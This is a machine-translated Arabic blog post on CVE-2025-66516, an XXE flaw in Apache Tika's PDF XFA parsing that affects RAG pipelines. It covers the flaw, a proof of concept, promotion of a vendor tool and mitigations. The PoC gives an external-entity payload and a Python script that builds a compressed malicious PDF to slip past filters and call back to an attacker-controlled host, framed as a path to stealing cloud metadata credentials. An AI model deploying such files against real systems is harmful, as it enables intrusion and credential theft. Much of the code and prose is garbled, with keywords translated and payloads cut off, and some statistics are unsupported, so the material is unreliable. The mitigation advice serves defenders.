تشريح قاتل RAG: الغوص العميق في CVE-2025-66516 وApache Tika RCE

في خضم الاندفاع نحو نشر خطوط أنابيب الجيل المعزز للاسترجاع (RAG)، تجاهلت الصناعة بشكل جماعي حقيقة أساسية: المحلل التحليلي هو سطح الهجوم.

في حين أن العناوين الرئيسية في عام 2025 ركزت على حقن الموجهات وكسر الحماية، فإن الهجمات الأكثر تدميراً تستهدف البرامج الوسيطة غير البراقة التي تعالج البيانات. CVE-2025-66516 (CVSS 10.0) هو تتويج لهذا السهو. إنها ليست ثغرة في الذكاء الاصطناعي في حد ذاته؛ إنها ثغرة في البنية التحتية القديمة التي تم تسليحها ضد بنيات الذكاء الاصطناعي الحديثة.

يفصل هذا التحليل آليات ثغرة Apache Tika XFA، ويوضح سبب فشل واقيات الشبكة العالمية القياسية في اكتشافها، ويوفر استراتيجية إثبات مفهوم (PoC) تم التحقق منها لمختبري الاختراق.

السياق: لماذا يعتبر CVE-2025-66516 مهمًا الآن

لفهم الخطورة، يجب علينا تحليل بنية نظام RAG نموذجي للمؤسسة في عام 2026.

1. طبقة المستخدم: يقوم الموظف بتحميل ملف PDF (مثل تقرير مالي أو سيرة ذاتية) إلى "مساعد الذكاء الاصطناعي" الداخلي.
2. طبقة الابتلاع: تستخدم الواجهة الخلفية (LangChain أو LlamaIndex أو نصوص Python النصية المخصصة) أداة تحميل المستندات.
3. طبقة التحليل: 85% من هذه اللوادر تعتمد على أباتشي تيكا (غالبًا ما يعمل كخادم بدون رأس في حاوية Docker) لاستخراج النص.
4. التحويل إلى ناقل: يتم تضمين النص وتخزينه في قاعدة بيانات متجهة (Pinecone، Milvus، Weaviate).

إصابة CVE-2025-66516 الطبقة 3. وهو يسمح للمهاجم بتضمين حمولة خبيثة من بنية نماذج XML (XFA) داخل ملف PDF قياسي. عندما يحاول Tika تحليل بيانات النموذج لاستخراج نص لـ LLM، فإنه ينفذ XML، مما يؤدي إلى الكيان الخارجي ل XML (XXE) الحقن.

نظرًا لأن Tika Server غالبًا ما يعمل بامتيازات الجذر داخل الحاويات للتعامل مع الملفات المؤقتة، فإن هذا XXE يصعد على الفور إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) أو تزوير الطلبات من جانب الخادم (SSRF)مما يسمح للمهاجمين بتفريغ بيانات اعتماد البيانات الوصفية لـ AWS أو الدخول إلى مركز حماية الشبكة الافتراضي الداخلي.

تحليل تقني: الخلل في منطق محلل XFA المنطقي

توجد الثغرة في org.apache.tika.parser.pdf.PDFParser وتحديدًا في كيفية تعامله مع فئة البرنامج الإنمائي حزم (حزمة بيانات XML) داخل ملف PDF.

في الإصدارات السابقة للإصدار 3.2.2، كان منطق استخراج بيانات XFA يبدو كالتالي (تمثيل جافا المبسط):

جافا

// جزء الكود القابل للتغيير (مفاهيمي) إذا (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA()؛ المستند xfaDom = xfa.getDomDomDocument()؛ // <--- نقطة تشغيل // لم يقم محول XML الافتراضي هنا بتعطيل DTDs // أو الكيانات الخارجية بشكل فعال لتدفقات XFA. هذا.extractTextFextFromXFA(xfaDom)؛ }}

كان الفشل الخطير هو افتراض أن محرك عرض PDF (PDFBox) قام بتعقيم دفق XML قبل وصول Tika إلى DOM. لم يفعل ذلك. وثق المحلل ضمنيًا في البنية الداخلية لملف PDF.

مقارنة: المعيار XXE XXE القياسي مقابل CVE-2025-66516

بناء الاستغلال (PoC)

لتحويل هذا الأمر إلى سلاح، لا يكفي محرر نصوص بسيط. نحن بحاجة إلى التلاعب ببنية كائن PDF. الهدف هو حقن كائن خبيث البرنامج الإنمائي دفق يشير إلى كيان خارجي تحت سيطرتك.

المرحلة 1: حمولة XML الخبيثة

أولاً، نقوم بصياغة XML الذي يعرّف الكيان. نريد اختبار التفاعل خارج النطاق (OOB) لتأكيد الثغرة دون تعطل الخادم.

XML

<<xdp:xdp xmlns:xdp=""><!<!DOCTYPE data [<!ENTITY % payload SYSTEM "">%P3Tpayload; ]><< "اختبار">CVE-Check

المرحلة 2: برنامج حقن بايثون النصي

نستخدم Python لتحويل XML هذا إلى بنية كائن PDF صالحة. وهذا يتجاوز برنامج مكافحة الفيروسات القائم على التوقيع لأن الملف هو ملف PDF صالح رياضيًا.

بايثون

'استيراد zlib

def build_exploit_pdf(callback_url): # 1. عرّف حزمة XFA الخبيثة xfa_xml = f"""" <xdp:xdp xdp xmlns:xdp=""http://ns.adobe.com/xdp/"><!DOCTYPE جذر %xxe؛] >""".strip()

# 2. ضغط الدفق (التعتيم)
# Tika سيضخّم هذا تلقائيًا، ولكن غالبًا ما تفتقد WAFs التدفقات المضغوطة
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. إنشاء جسم ملف PDF
يشير كائن # 3 إلى دفق XFA
pdf_body = (
    b"%P3TPDF-1.7\\n"
    b"1 0 obj\n\n<</النوع / الكتالوج / الصفحات 2 0 R /AcroForm <> >> \\\n\n\nendobj\\n"
    ب"2 0 obj\n\n<>\\nendobj\\n"
    ب"3 0 0 obj\n</ obj\n<>\\ن"
    ب"تيار\\n" + تيار_المحتوى + ب"\\\nمقطورة\\n\n\nندوبج\\n"
    b"/مقطورة \\n<>\\n\n%%EOF"
)

مع فتح("resume_hacker.pdf", "wb") باسم f:
    f.write(pdf_body)
طباعة(f"[+] تم إنشاء القطعة الأثرية 'resume_hacker.pdf' باستخدام ضغط zlib.")

التنفيذ

build_exploit_pdf("http://burp-collaborator-url/xxe_trigger“)`

عندما يقوم عامل RAG الخاص بالضحية بمعالجة السيرة الذاتية_هاكر.pdf لتوليد التضمينات، تقوم الواجهة الخلفية لـ Tika بتضخيم الكائن 3، وتحلل XML، وتطلق طلبًا إلى عنوان URL المتعاون الخاص بك.

النقطة العمياء في عمليات التطوير والعمليات الأمنية الحديثة

لماذا يستمر CVE-2025-66516 في عام 2026؟ إنه يسلط الضوء على فجوة كبيرة في منهجية "التحول إلى اليسار".

تقوم معظم فرق DevSecOps بفحص كود المصدر (SAST) و الصور الأساسية (مسح الحاويات). ومع ذلك، غالبًا ما يتم التعامل مع Tika كأداة "الصندوق الأسود".

• SAST لا يراها لأنها تبعية ثنائية.
• داست (اختبار أمان التطبيقات الديناميكي) عادةً ما يقوم بتشويش نقاط نهاية واجهة برمجة التطبيقات باستخدام JSON أو SQLi، ولكن نادرًا ما يحاول تحميل ملفات معقدة متعددة الصيغ ثنائية اللغة.

هذا هو المكان الذي تفشل فيه منهجيات الاختبار القديمة أمام وكلاء الذكاء الاصطناعي. تم تصميم الوكيل لاستهلاك بيانات معقدة غير منظمة؛ وبالتالي، يجب أن تكون حالات الاختبار بيانات معقدة غير منظمة.

التحقق الآلي من الصحة باستخدام Penligent

هذا المتجه المحدد - الهجمات المضمنة في تنسيقات الملفات غير المهيكلة - هو محور التركيز الأساسي للجيل القادم من الأمن الهجومي. هذا هو المكان الذي تعمل فيه أدوات مثل بنليجنت تميز نفسها عن الماسحات الضوئية التقليدية مثل Nessus أو Burp Suite.

تم تصميم وكلاء الذكاء الاصطناعي في Penligent لفهم سياق التطبيق. عندما يصادف Penligent نقطة نهاية تحميل ملف في خط أنابيب RAG، فإنه لا يكتفي بالتشويش على رؤوس HTTP. فهو ينشئ بذكاء حمولات "قائمة على الطفرات" مثل استغلال ملف PDF أعلاه. إنه يسأل بشكل فعال: "إذا قمتُ بتغذية هذا الذكاء الاصطناعي بسيرة ذاتية تحتوي على ثغرة على مستوى النواة (kernel)، فهل سيعالجها؟

من خلال أتمتة إنشاء هذه الملفات متعددة اللغات (ملفات PDF التي تحتوي على XXE، والصور التي تحتوي على ملفات PHP webhells)، يحاكي Penligent مهاجمًا متطورًا يفهم منطق التحليل الأساسي للهدف، مما يوفر تقييمًا واقعيًا لمرونة خط أنابيب RAG ضد CVE-2025-66516 وهجمات "تشويش التنسيق" المماثلة.

استراتيجيات التخفيف من المخاطر

إذا كانت مؤسستك تعتمد على Tika (أو الأطر التي تجمعها، مثل Unstructured.io أو مجتمع LangChain)، قم بتطبيق هذه الإصلاحات على الفور.

1. الخيار "النووي": تعطيل XFA

ما لم يكن عملك يتطلب على وجه التحديد تحليل البيانات من نماذج PDF التفاعلية (وهو أمر نادر الحدوث بالنسبة لـ RAG)، قم بتعطيل محلل XFA تمامًا في tika-config.xml.

XML

false false false

2. عزل المحلل التحليلي (نمط "القفل الهوائي")

لا تقم أبدًا بتشغيل تحليل المستند في نفس سياق منطق التطبيق أو قاعدة البيانات المتجهة.

• قم بتشغيل Tika في حاوية بدون توزيع.
• عزل الشبكة: يجب أن تحتوي حاوية تيكا على عدم وجود منفذ خروج صفر. يستقبل الملف، ويعيد النص، ولا يمكنه بدء الاتصالات بالإنترنت أو خدمة البيانات الوصفية السحابية الداخلية (169.254.169.254).
• حدود الموارد: تعيين حدود صارمة للذاكرة (إكس إم إكس) لمنع هجمات هجمات "المليار ضحكة" DoS، والتي غالبًا ما تكون من أبناء عمومة XXE.

3. الانتقال إلى المحللين في وضع الحماية

ضع في اعتبارك الابتعاد عن المحللين المستندين إلى جافا للإدخال غير الموثوق به. البدائل الحديثة التي تستخدم Rust أو Go، أو بيئات وضع الحماية مثل gVisor أو مفرقعة نارية AWSتوفر طبقة عزل أقوى بكثير لمهمة تحليل الملفات الثنائية المحفوفة بالمخاطر بطبيعتها.

الملخص

يعد CVE-2025-66516 بمثابة جرس إنذار لأمن الذكاء الاصطناعي. نحن نبني قلاعاً ذكية فوق الرمال. وطالما أن نماذج الذكاء الاصطناعي لدينا تعتمد على مكتبات التحليل التي تعود لعقود من الزمن لتفسير العالم، ستظل هذه المكتبات هي الطريق الأقل مقاومة للمهاجمين.

قم بتأمين طبقة الاستيعاب الخاصة بك. تحقق من إصدارات Tika الخاصة بك. وافترض أن كل ملف PDF يتم تحميله إلى نظامك هو سلاح حتى يثبت العكس.

المراجع والمزيد من القراءة

• نشرات أباتشي تيكا الأمنية (الرسمية)
• أفضل 10 تطبيقات لـ OWASP لتطبيقات LLM: LLM06 الوكالة المفرطة
• NVD - CVE-2025-66516 التفاصيل
• عرض BlackHat 2025: "تحليل ما لا يمكن تحليله"